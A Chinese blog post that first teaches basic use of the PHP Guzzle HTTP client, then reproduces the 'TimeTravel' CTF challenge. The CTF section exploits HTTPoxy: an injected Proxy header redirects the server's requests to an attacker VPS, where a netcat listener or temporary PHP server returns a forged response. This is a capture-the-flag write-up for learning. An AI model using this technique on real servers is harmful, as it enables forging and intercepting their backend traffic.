文章目录
0X01 Guzzle简介
Guzzle是一个使得利用PHP实现发送HTTP 请求,方便和web service集成的PHP 客户端模拟组件。
Guzzle介绍
0X01 Guzzle实验
首先下载Guzzle
然后cd到网站根目录,执行Composer命令下载Guzzle:(Linux环境)
cd /var/www/html
composer require guzzlehttp/guzzle
因为报错composer http://packagist.org could not be fully loaded
,重新设置composer packagist
,命令如下:
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
下载完成后会生成一个vender文件夹:
在vender同级目录新建了一个guzzle.php来写例子。服务器上hello.php的内容为
<?php
echo "Hello ".$_REQUEST["name"]."\n"
?>
【GET请求】
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
$client = new Client();
$response = $client->get('http://121.196.196.190/hello.php?name=ink');
$content = $response->getBody();
echo $content;
【POST请求】
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
$client = new Client();
//构造url
$url = 'http://121.196.196.190/hello.php';
//post请求
$res = $client->request('POST', $url, [
'form_params' => [
'name'=>'qaq'
]
]);
$content = $res->getBody();
echo $content;
?>
【设置代理IP】
服务器上代码,作用为输出用户ip
<?php
error_reporting (E_ERROR | E_WARNING | E_PARSE);
if($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]){
$ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
}
elseif($HTTP_SERVER_VARS["HTTP_CLIENT_IP"]){
$ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
}
elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"]){
$ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
}
elseif (getenv("HTTP_X_FORWARDED_FOR")){
$ip = getenv("HTTP_X_FORWARDED_FOR");
}
elseif (getenv("HTTP_CLIENT_IP")){
$ip = getenv("HTTP_CLIENT_IP");
}
elseif (getenv("REMOTE_ADDR")){
$ip = getenv("REMOTE_ADDR");
}
else{
$ip = "Unknown";
}
echo $ip;
?>
这部分在在windows上面实验,因为有vpn好测试代理结果
Wondows 平台上,我们只需要下载 Composer-Setup.exe 后,一步步安装即可。
需要注意的是你需要开启 openssl 配置,我们打开 php 目录下的 php.ini,将 extension=php_openssl.dll
前面的分号去掉就可以了。
安装成功后,我们可以通过命令窗口(cmd) 输入 composer --version
命令来查看是否安装成功:
接下来我们可以更改阿里云 Composer 全量镜像:
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
然后下载
cd D:\phpStudy\WWW\Vulnerability\GuzzleHttp_Client
composer require guzzlehttp/guzzle
开始测试代理功能,首先是没有代理的
<?php
require './vendor/autoload.php';
//实例化客户端
$client = new GuzzleHttp\Client(['headers'=>[
"Accept"=>"*/*",
"Accept-Encoding"=>"gzip, deflate",
"User-Agent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
]]);
//构造url
$url = 'http://121.196.196.190/hello.php';
//设置代理请求
$res = $client->request('GET', $url);
//返回状态码
$content = $res->getBody();
echo $content;
?>
这时候ip为117.136.67.147
然后再把vpn打开,端口为1080
给代码加上代理'proxy' => '127.0.0.1:1080'
<?php
require './vendor/autoload.php';
//实例化客户端
$client = new GuzzleHttp\Client(['headers'=>[
"Accept"=>"*/*",
"Accept-Encoding"=>"gzip, deflate",
"User-Agent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
]]);
//构造url
$url = 'http://121.196.196.190/hello.php';
//设置代理请求
$res = $client->request('GET', $url, [
'proxy' => '127.0.0.1:1080'
]);
//返回状态码
$content = $res->getBody();
echo $content;
?>
代理成功
0x03 TimeTravel题目复现
漏洞说明
漏洞原因
在CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv(“HTTP_PROXY”)就变成可被控制的了. 那么如果你的所有类似的请求, 都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了…
方法一
创建一个1.txt
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16
{"success":true}
vps上执行nc -lvp 8888 < 1.txt
burp上添加一个Proxy头
返回包中得到flag
方法二,创建一个临时服务器
php的
mkdir api
cd api/
echo '{"success":true}'>eligible
php -S 0:7777 -t ../
成功拿到flag